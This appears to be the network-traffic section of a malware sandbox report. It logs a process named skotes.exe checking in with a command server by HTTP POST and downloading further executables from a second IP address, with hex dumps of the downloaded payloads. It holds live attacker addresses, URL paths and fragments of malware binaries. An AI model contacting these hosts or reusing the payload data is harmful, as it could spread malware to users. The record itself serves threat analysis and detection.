Jan 12, 2025 17:39:25.471818924 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc cc cc cc cc e9 86 7a 3e 00 e9 e1 14 40 00 e9 dc a1 3d 00 e9 57 c3 3e 00 Data Ascii: z>@=W>;@F:@3a?>)ENB>?@%>D{QCvI>?=?"=<(t?AN;n<:v><Uz=P=C
Jan 12, 2025 17:39:25.471831083 CET	1236	IN	Data Raw: 43 3c 00 e9 81 51 3e 00 e9 3c bd 3a 00 e9 b7 9e 43 00 e9 02 73 42 00 e9 7d 17 3c 00 e9 c8 41 3b 00 e9 ba a2 3a 00 e9 8e 96 44 00 e9 c9 99 3e 00 e9 84 f6 3a 00 e9 0f 66 40 00 e9 3a a9 3a 00 e9 05 e9 44 00 e9 c0 f8 3e 00 e9 0b ce 3d 00 e9 56 58 3f Data Ascii: C<Q><:CsB}<A;:D>:f@::D>=VX?q?<S?b::j1E?.@<D@::U#BPo@:Ca>:'==0E(:3D=9:;/lCJ:A=k@>
Jan 12, 2025 17:39:25.471848965 CET	1236	IN	Data Raw: 3e 00 e9 6e 77 43 00 e9 e9 72 41 00 e9 a4 2d 45 00 e9 3f ae 44 00 e9 4a 2c 44 00 e9 55 29 40 00 e9 90 fd 3b 00 e9 1b 83 3e 00 e9 b6 3d 3f 00 e9 71 e5 3c 00 e9 bc ba 3d 00 e9 d7 86 42 00 e9 42 9e 43 00 e9 1d 10 43 00 e9 58 b9 3a 00 e9 c3 54 3c 00 Data Ascii: >nwCrA-E?DJ,DU)@;>=?q<=BBCCX:T<^>)C==SCu#BA{A<vH?AC,>GBr<?H<s2EA;t:qC;u?>K^@6>;\|;:"B4C>
Jan 12, 2025 17:39:25.471860886 CET	448	IN	Data Raw: 00 e9 0b 7e 43 00 e9 54 8e 41 00 e9 f1 14 42 00 e9 9c c6 41 00 e9 07 a9 3c 00 e9 e2 dd 0b 00 e9 1d 23 07 00 e9 d8 30 45 00 e9 a3 eb 3e 00 e9 7e c8 3e 00 e9 59 b1 3a 00 e9 94 e9 3a 00 e9 3f 2a 45 00 e9 aa d3 3e 00 e9 35 34 3f 00 e9 00 df 3a 00 e9 Data Ascii: ~CTABA<#0E>~>Y::?*E>54?:CDqgC,@7nA2:'E#<3B~A;D.EZ@EjA@DB''EvG<=(Et>i@B:<'E?<>>"<<=z0>;
Jan 12, 2025 17:39:25.471873999 CET	1236	IN	Data Raw: e5 44 00 e9 49 8a 3d 00 e9 44 8c 44 00 e9 4f a9 3c 00 e9 da 8c 44 00 e9 f5 f7 42 00 e9 60 45 3c 00 e9 f5 26 45 00 e9 56 3b 3c 00 e9 d1 c1 3d 00 e9 cc 8d 40 00 e9 c7 6b 40 00 e9 22 5b 40 00 e9 2d d6 3a 00 e9 18 51 40 00 e9 73 d5 3a 00 e9 4e b6 3e Data Ascii: DI=DDO<DB`E<&EV;<=@k@"[@-:Q@s:N>g?=;JD: mDK>?>:7<%Ex@?:~pC9>D;D<U;A[!@FBn@DT?@A%Es=>
Jan 12, 2025 17:39:25.471884966 CET	224	IN	Data Raw: 3a 00 e9 56 b0 3d 00 e9 d1 d8 3a 00 e9 5c a3 3a 00 e9 f7 b7 3e 00 e9 32 13 3c 00 e9 bd 13 45 00 e9 c8 c2 3d 00 e9 c3 72 40 00 e9 0e db 40 00 e9 b9 f0 41 00 e9 d4 04 3c 00 e9 7f f9 42 00 e9 3a de 44 00 e9 85 b8 3e 00 e9 10 6d 3c 00 e9 9b b8 41 00 Data Ascii: :V=:\:>2<E=r@@A<B:D>m<AB<<5?w?;::3<n@)=BD;>]?2?C=F Bq;LC7\|=r;m9@I>@;-?u<_;*
Jan 12, 2025 17:39:25.472179890 CET	1236	IN	Data Raw: 05 43 00 e9 75 ef 42 00 e9 20 08 3c 00 e9 db 05 3b 00 e9 56 4a 3c 00 e9 01 f3 3a 00 e9 dc a4 3d 00 e9 97 c5 41 00 e9 92 94 3e 00 e9 bd 97 3c 00 e9 d8 b9 42 00 e9 83 be 3d 00 e9 de af 3d 00 e9 e9 60 40 00 e9 64 61 3d 00 e9 3f ea 3f 00 e9 8a 24 42 Data Ascii: CuB <;VJ<:=A><B==`@da=??$Bup@y;kBL?Y=[>D`BA>4<o>yr@<:;E=;C<AhBErB==h@J=>>8BvDzAZ:
Jan 12, 2025 17:39:25.472192049 CET	1236	IN	Data Raw: 3c 00 e9 82 78 3e 00 e9 ad 39 40 00 e9 68 0e 3c 00 e9 ab 1b 45 00 e9 1e 68 3e 00 e9 f9 64 02 00 e9 e4 2b 40 00 e9 df 5a 3b 00 e9 aa b5 41 00 e9 f5 55 3e 00 e9 10 09 44 00 e9 6b 9e 3c 00 e9 c6 c4 3f 00 e9 b1 c8 3a 00 e9 7c b1 40 00 e9 87 11 43 00 Data Ascii: <x>9@h<Eh>d+@Z;AU>Dk<?:\|@C"=-??D>;TVCEs=E9BE5C:<D=:J=7EE)gA4B_-<U@C 8<+^?9<;5=G@
Jan 12, 2025 17:39:25.472203016 CET	448	IN	Data Raw: 00 e9 4f 21 41 00 e9 7a 9e 40 00 e9 c5 b4 41 00 e9 f0 d6 3a 00 e9 fb ef 43 00 e9 66 4c 3d 00 e9 a1 3f 3f 00 e9 ec 71 3c 00 e9 3f 18 45 00 e9 12 32 40 00 e9 2d 6c 40 00 e9 b8 35 3c 00 e9 e3 a9 3e 00 e9 7e ad 3e 00 e9 29 0b 42 00 e9 64 7b 44 00 e9 Data Ascii: O!Az@A:CfL=??q<?E2@-l@5<>~>)Bd{DO@YA5T<:K;V<f<lDg@<;,EV<:E@OOC>5<0<;<TBQ;DzD{D$;>(<;I<>
Jan 12, 2025 17:39:25.476798058 CET	1236	IN	Data Raw: 7a 3c 00 e9 fd 83 44 00 e9 c8 ba 3d 00 e9 53 7e 3d 00 e9 0e a6 3e 00 e9 39 e0 3f 00 e9 24 4c 40 00 e9 bf ae 41 00 e9 9a 4a 40 00 e9 f5 6a 3b 00 e9 f0 8f 43 00 e9 0b 9b 3d 00 e9 d6 73 40 00 e9 51 a1 3a 00 e9 2c 2e 42 00 e9 37 9d 3e 00 e9 22 03 42 Data Ascii: z<D=S~=>9?$L@AJ@j;C=s@Q:,.B7>"Bh>Y:>RC=yD/iDJA=A[s@ D@@:@=>ZB'<@{A]>?>:E\|Ay?k::Qm=<<AA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49979	185.215.113.43	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:39:31.973829985 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 33 34 37 36 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1034761001&unit=246122658369
Jan 12, 2025 17:39:32.671777010 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:39:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49980	31.41.244.11	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:39:32.702526093 CET	66	OUT	GET /files/5666444957/usPaQ3D.exe HTTP/1.1 Host: 31.41.244.11
Jan 12, 2025 17:39:33.398474932 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:39:33 GMT Content-Type: application/octet-stream Content-Length: 3136512 Last-Modified: Sat, 11 Jan 2025 06:44:12 GMT Connection: keep-alive ETag: "6782133c-2fdc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 69 66 5c 67 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 ca 2f 00 00 10 00 00 00 00 00 00 be e8 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 30 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 70 e8 2f 00 4b 00 00 00 00 00 30 00 f7 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 30 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELif\g// 0@ @0@p/K0 0 H.text/ / `.rsrc0/@@.reloc 0/@B/HXG<4#Vwd!HAZI1YT8Dc[2njlOs]yx<mt8*B-rIg:mej{Um79;$QWAA0V0yh`4bE=WM&,C:])#lAG8B3O);"L"p<19;YF 8fK?WEw:7i(}jY2]u{1Crh:bvJn5)catiS/r68XNd/xeN[>F$
Jan 12, 2025 17:39:33.398493052 CET	224	IN	Data Raw: 79 27 45 7d 83 c6 86 2b fe 09 f9 69 47 f3 3c 64 db 37 92 86 4a a5 7a 63 60 fa 2f 48 7f 7a 0d c8 09 32 7b 19 3b 66 ca d3 39 eb c1 36 c3 74 a3 ca df bf 90 32 04 b0 67 29 e2 a3 91 b8 c6 25 93 c9 f6 0f 50 bc d9 e0 37 5e c3 3c 24 c3 96 22 db e1 15 a3 Data Ascii: y'E}+iG<d7Jzc`/Hz2{;f96t2g)%P7^<$"Pu\|`XEg1FOUZ/MT_sHe`m>F9U+@oV?;eK9=^tLlU%/^}< b08hz;GEbTs;
Jan 12, 2025 17:39:33.398507118 CET	1236	IN	Data Raw: 9d ca 1c bd ac 65 79 bd b7 3d f1 76 c8 f2 bf b4 90 9c 34 ec e2 2e a0 0a 40 2c 20 70 d6 10 a6 da 72 0f ab 1b 48 8f 56 35 bd 8c 53 01 78 42 5a 42 1c 80 8b cf 76 87 cd 27 8e 59 e7 16 6f c2 c7 f5 16 4f 3e 3d bb 02 10 46 7d 1e ee 80 e1 d5 03 1c da 76 Data Ascii: ey=v4.@, prHV5SxBZBv'YoO>=F}vX:h)H"0g0GRXy6/>+#\PPe[\|&XK3'Z58bv&SB?+@vs*k1eAV('\e(8iY6hYzT
Jan 12, 2025 17:39:33.398531914 CET	224	IN	Data Raw: ea 86 df 2a 3d bb 60 91 5b 5a c2 2d f1 e1 72 f4 f6 94 ef a8 27 36 ba fb 11 9c 4e cc d8 12 dc 8a f9 a0 ef 1d 00 e2 a3 bb d7 18 e8 c1 27 db b2 fe fc be ab 90 7d 74 6c 20 de 43 91 c9 ee 64 0c d2 61 1d f6 ac b6 b8 c0 81 7c bf 30 db cd 7f c4 22 84 1e Data Ascii: =`[Z-r'6N'}tl Cda\|0"p+lMG6sYMcgD.X_Dek#:Yz\|L[a2/A?J2Z50j$O:Wyn6[$1]4{#q!rmARV
Jan 12, 2025 17:39:33.399061918 CET	1236	IN	Data Raw: ae 44 de 33 2f 66 33 6f 33 4b 2d 31 31 3d 47 2d 4e 37 56 4a 74 6f 7a 4f 57 52 72 3d 28 74 4e 5a 42 66 4b 2b 62 53 37 46 79 00 00 00 00 05 df f7 31 a0 f4 40 4e 72 8a cb 40 58 99 e4 1e 0b c1 8f 0c 6c 5e 80 ac 82 14 cb dd 7a ca a1 b3 02 04 74 40 49 Data Ascii: D3/f3o3K-11=G-N7VJtozOWRr=(tNZBfK+bS7Fy1@Nr@Xl^zt@IUtuH3hPY6XA!)y<RNRJT0U},,E4TR;&KF!M!h8^iT:<)a?~mXeN~o?gN[v@rQ=B;R&5Oe.4Q%6
Jan 12, 2025 17:39:33.399074078 CET	1236	IN	Data Raw: 9c 90 9b 7b b2 14 f3 4c 88 1b c0 6f 09 3d e8 1f f1 19 b8 57 ec 19 eb 00 20 83 e9 9c e1 df 79 f7 6a 33 c0 c2 14 00 00 00 00 18 8f ec 21 05 03 cb 68 4b 2b d3 ff fd af 29 e3 f0 fc 31 66 3c e1 76 2a c3 92 ff 44 d7 e3 cc 93 42 00 43 00 44 00 46 00 47 Data Ascii: {Lo=W yj3!hK+)1f<vDBCDFGHJKMPQRTVWXY2346789K}A+5}.[Xn}P@(,,H+KbQ0E[/6af1r\|>o+3[oJi.l\|:1./\0
Jan 12, 2025 17:39:33.399085999 CET	448	IN	Data Raw: 00 e6 02 00 00 8d 02 00 00 1a 01 00 00 fa 02 00 00 6f 02 00 00 a8 02 00 00 51 00 00 00 9f 03 00 00 72 02 00 00 15 03 00 00 7d 00 00 00 9b 01 00 00 09 02 00 00 aa 03 00 00 2c 01 00 00 35 03 00 00 4e 00 00 00 57 01 00 00 af 00 00 00 80 00 00 00 fa Data Ascii: oQr},5NWN`~YfkD\|Rdpk)w4X^Q
Jan 12, 2025 17:39:33.399233103 CET	1236	IN	Data Raw: 00 41 01 00 00 40 02 00 00 69 02 00 00 72 02 00 00 f6 01 00 00 7e 03 00 00 a7 02 00 00 f3 00 00 00 b8 01 00 00 a8 02 00 00 6f 03 00 00 c2 00 00 00 3c 02 00 00 80 02 00 00 d4 02 00 00 9e 03 00 00 38 00 00 00 cc 00 00 00 bc 02 00 00 c3 02 00 00 97 Data Ascii: A@ir~o<8.);W8V^l;lw0IWa:v6
Jan 12, 2025 17:39:33.399251938 CET	1236	IN	Data Raw: 00 00 00 00 00 08 00 00 00 48 00 00 00 00 00 00 00 09 00 00 00 f0 00 00 00 50 00 00 00 07 00 00 00 04 00 00 00 00 00 00 00 08 00 00 00 54 00 00 00 00 00 00 00 08 00 00 00 14 00 00 00 55 00 00 00 08 00 00 00 e3 00 00 00 53 00 00 00 07 00 00 00 2b Data Ascii: HPTUS+t4Qd$DP\
Jan 12, 2025 17:39:33.399262905 CET	448	IN	Data Raw: 00 00 00 00 00 08 00 00 00 71 00 00 00 00 00 00 00 08 00 00 00 31 00 00 00 00 00 00 00 09 00 00 00 c2 00 00 00 50 00 00 00 07 00 00 00 0a 00 00 00 00 00 00 00 08 00 00 00 61 00 00 00 00 00 00 00 08 00 00 00 21 00 00 00 00 00 00 00 09 00 00 00 a2 Data Ascii: q1Pa!APYS;y9Q
Jan 12, 2025 17:39:33.403429985 CET	1236	IN	Data Raw: 00 08 00 00 00 25 00 00 00 00 00 00 00 09 00 00 00 aa 00 00 00 00 00 00 00 08 00 00 00 05 00 00 00 00 00 00 00 08 00 00 00 85 00 00 00 00 00 00 00 08 00 00 00 45 00 00 00 00 00 00 00 09 00 00 00 ea 00 00 00 50 00 00 00 07 00 00 00 08 00 00 00 00 Data Ascii: %EP]TS}=Rm-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49981	185.215.113.43	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:39:38.916728020 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 33 37 33 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1037345001&unit=246122658369
Jan 12, 2025 17:39:39.530033112 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:39:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49982	31.41.244.11	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:39:39.655313015 CET	66	OUT	GET /files/5222311384/WZMQlGj.exe HTTP/1.1 Host: 31.41.244.11
Jan 12, 2025 17:39:40.310225964 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:39:40 GMT Content-Type: application/octet-stream Content-Length: 320512 Last-Modified: Sun, 12 Jan 2025 13:08:29 GMT Connection: keep-alive ETag: "6783becd-4e400" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 04 00 cb 85 81 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 28 04 00 00 b8 00 00 00 00 00 00 40 87 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 02 5b 04 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 05 00 80 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c 5c [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELg(@@@[@><\.textR'( `.rdataq@ ,@@.data `XL@.reloc>@@@B
Jan 12, 2025 17:39:40.310244083 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8b 44 24 04 85 c0 74 28 80 38 ef 75 13 80 78 01 bb 75 0d 80 78 02 bf 75 07 83 c0 Data Ascii: D$t(8uxuxuD$D$jP1USWV D$81=HD$t$4.]Sqt"E.]SqEuMY$,E
Jan 12, 2025 17:39:40.310328960 CET	1236	IN	Data Raw: 44 00 e8 00 75 00 00 c7 00 00 00 00 00 8d 44 24 1c 50 ff 36 e8 be 71 00 00 83 c4 08 dd 5c 24 04 e8 e2 74 00 00 31 ff 83 38 22 dd 44 24 04 d9 e1 75 18 d9 05 28 45 44 00 d9 c9 da e9 df e0 9e d9 ee 72 07 dd d8 e9 ad 03 00 00 dd d8 e8 b6 74 00 00 83 Data Ascii: DuD$P6q\$t18"D$u(EDrt8tt8"l$)D$r0;0u{.u[t jhZDSpD$u{.u6,$rvD;jPhZDpD$t1jUhZD4p
Jan 12, 2025 17:39:40.310367107 CET	1236	IN	Data Raw: c4 04 45 85 c0 75 ec 4d 80 fb 2c 0f 85 3f 01 00 00 45 90 89 2e 0f b6 5d 00 0f b6 fb 57 e8 c1 6c 00 00 83 c4 04 45 85 c0 75 e9 83 ff 5d 74 08 85 ff 0f 85 0d ff ff ff 4d e9 13 01 00 00 8b 1c 24 c7 44 24 14 00 00 00 00 89 f1 8d 54 24 14 e8 10 0e 00 Data Ascii: EuM,?E.]WlEu]tM$D$T$x\|$Pk93;WfltC;WSlCuK<:Ct$VPWt$U.]SktE.]
Jan 12, 2025 17:39:40.310380936 CET	448	IN	Data Raw: 41 08 c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 53 57 56 83 ec 10 31 f6 83 7c 24 24 00 0f 84 ae 00 00 00 8b 7c 24 28 85 ff 0f 84 a2 00 00 00 57 e8 2a 67 00 00 83 c4 04 89 44 24 04 50 57 e8 ec 06 00 00 8b 4c 24 2c 83 c4 08 89 c2 8b 59 20 8d 6b ff Data Ascii: AUSWV1\|$$\|$(W*gD$PWL$,Y kD$rt!AD$$EKt\#D$t$<tJA9uA4VfT$L$(;D$ut$Vt$0fT$L$0uA41V^_[]L$1tyuA
Jan 12, 2025 17:39:40.310406923 CET	1236	IN	Data Raw: 83 c4 0c 85 c0 75 a8 8b 41 10 8b 04 98 85 c0 74 10 83 78 04 06 bf ff ff ff ff 75 0a 8b 78 08 eb 05 bf ff ff ff ff 89 f8 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 53 57 56 83 ec 18 8b 5c 24 30 8b 74 24 2c 6a 2e 53 e8 Data Ascii: uAtxux^_[]USWV\$0t$,j.Set0)PSVPCj.Seu1t0t,SeD$PSV jD$s1^_[]!FD$$EJt#D$\|$<
Jan 12, 2025 17:39:40.310420990 CET	1236	IN	Data Raw: 54 24 28 83 c4 04 3b 04 24 75 c0 ff 34 24 55 ff 74 24 30 e8 d3 60 00 00 8b 54 24 30 83 c4 0c 85 c0 75 a8 b8 ff ff ff ff e9 7c ff ff ff 23 5c 24 04 8b 42 04 89 04 24 eb 0a 90 90 43 4e 0f 84 22 ff ff ff 89 dd 23 6c 24 08 8b 04 24 8b 04 a8 83 f8 ff Data Ascii: T$(;$u4$Ut$0`T$0u\|#\$B$CN"#l$$J\|$9<uJ<W[`T$(;D$ut$Wt$0``T$0uSWVL$t/T$12tF9u^_[USWV0
Jan 12, 2025 17:39:40.310434103 CET	1236	IN	Data Raw: 00 00 00 80 7b 07 75 0f 85 dc 00 00 00 83 c3 08 8d 44 24 10 50 53 e8 ec 00 00 00 83 c4 08 85 c0 0f 85 c3 00 00 00 8b 4c 24 10 81 f9 00 dc 00 00 0f 82 b3 00 00 00 81 f9 ff df 00 00 0f 87 a7 00 00 00 8b 54 24 08 c1 e2 0a 81 e2 00 fc 0f 00 b8 ff 03 Data Ascii: {uD$PSL$T$)%5?N?N$?F!!)sV`Dt&VRP%YD$V`D$R`D
Jan 12, 2025 17:39:40.310446978 CET	672	IN	Data Raw: 90 90 90 0f b6 32 42 01 f7 01 f9 48 39 c5 75 f3 8b 6c 24 04 29 c5 83 7c 24 0c fc 0f 87 e2 fe ff ff eb 0f 89 c5 89 da 83 7c 24 0c fc 0f 87 d1 fe ff ff 8b 04 24 29 e8 31 ed 90 90 90 90 90 90 90 90 90 90 0f b6 34 2a 01 fe 01 f1 0f b6 7c 2a 01 01 f7 Data Ascii: 2BH9ul$)\|$\|$$)14\|t\|9u^_[]SWVD$t#\$L$uu=1S013<GD@13GD
Jan 12, 2025 17:39:40.310460091 CET	1236	IN	Data Raw: 75 05 83 38 00 75 d2 85 c9 74 09 85 d2 75 05 83 39 00 75 c1 31 d2 8b 5c 24 28 83 fb 04 0f 94 c2 09 d5 89 6e 68 83 7e 5c 00 75 06 83 7e 60 00 74 69 85 c0 74 09 c7 00 00 00 00 00 8b 4e 7c 85 c9 74 43 8b 39 8b 86 8c 00 00 00 29 c7 8b 4e 58 8b 56 5c Data Ascii: u8utu9u1\$(nh~\u~`titN\|tC9)NXV\9rFtrWQPR~X)~\F\|8~`t1~\_1[V!t"0#Ft)PWvFFt~ uu~\tVQ
Jan 12, 2025 17:39:40.315130949 CET	1236	IN	Data Raw: 55 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 de 01 da c7 44 24 0c 00 00 00 00 89 f3 eb 10 c7 44 24 0c 00 00 00 00 90 90 90 90 90 90 90 90 bd 00 80 00 00 29 dd 39 cd 72 02 89 cd 8b 44 24 54 89 68 24 83 7c 24 30 00 75 0c 81 fb 02 01 00 00 0f 82 Data Ascii: UD$D$)9rD$Th$\|$0uHPL$tD$L$Tqy\|$t$$T$}D$]L$$ML$Tt,D$H%D$(818u@9u1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49985	185.215.113.43	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:39:43.052272081 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 33 38 30 37 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1038070001&unit=246122658369
Jan 12, 2025 17:39:43.915184975 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:39:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49988	185.215.113.43	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:39:51.824815035 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 33 38 33 35 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1038359001&unit=246122658369
Jan 12, 2025 17:39:52.622211933 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:39:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49990	31.41.244.11	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:39:52.697211981 CET	66	OUT	GET /files/7202997285/HNsLLEj.exe HTTP/1.1 Host: 31.41.244.11
Jan 12, 2025 17:39:53.379863977 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:39:53 GMT Content-Type: application/octet-stream Content-Length: 91760 Last-Modified: Sun, 12 Jan 2025 09:17:56 GMT Connection: keep-alive ETag: "678388c4-16670" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 3d f3 55 98 00 00 00 00 00 00 00 00 e0 00 2e 01 0b 01 30 00 00 be 00 00 00 08 00 00 00 00 00 00 ee dd 00 00 00 20 00 00 00 e0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 01 00 00 04 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a0 dd 00 00 4b 00 00 00 00 e0 00 00 98 05 00 00 00 00 00 00 00 00 00 00 00 40 01 00 70 26 00 00 00 00 01 00 0c 00 00 00 54 dd 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL=U.0 @ `K@p&T H.text `.rsrc@@.reloc@B.idatav v
Jan 12, 2025 17:39:53.379899025 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 dd 00 00 00 00 00 00 48 00 00 00 02 00 05 00 bc 84 00 00 dc 46 00 00 03 00 02 00 Data Ascii: HF[0V~:K( s((( ?r
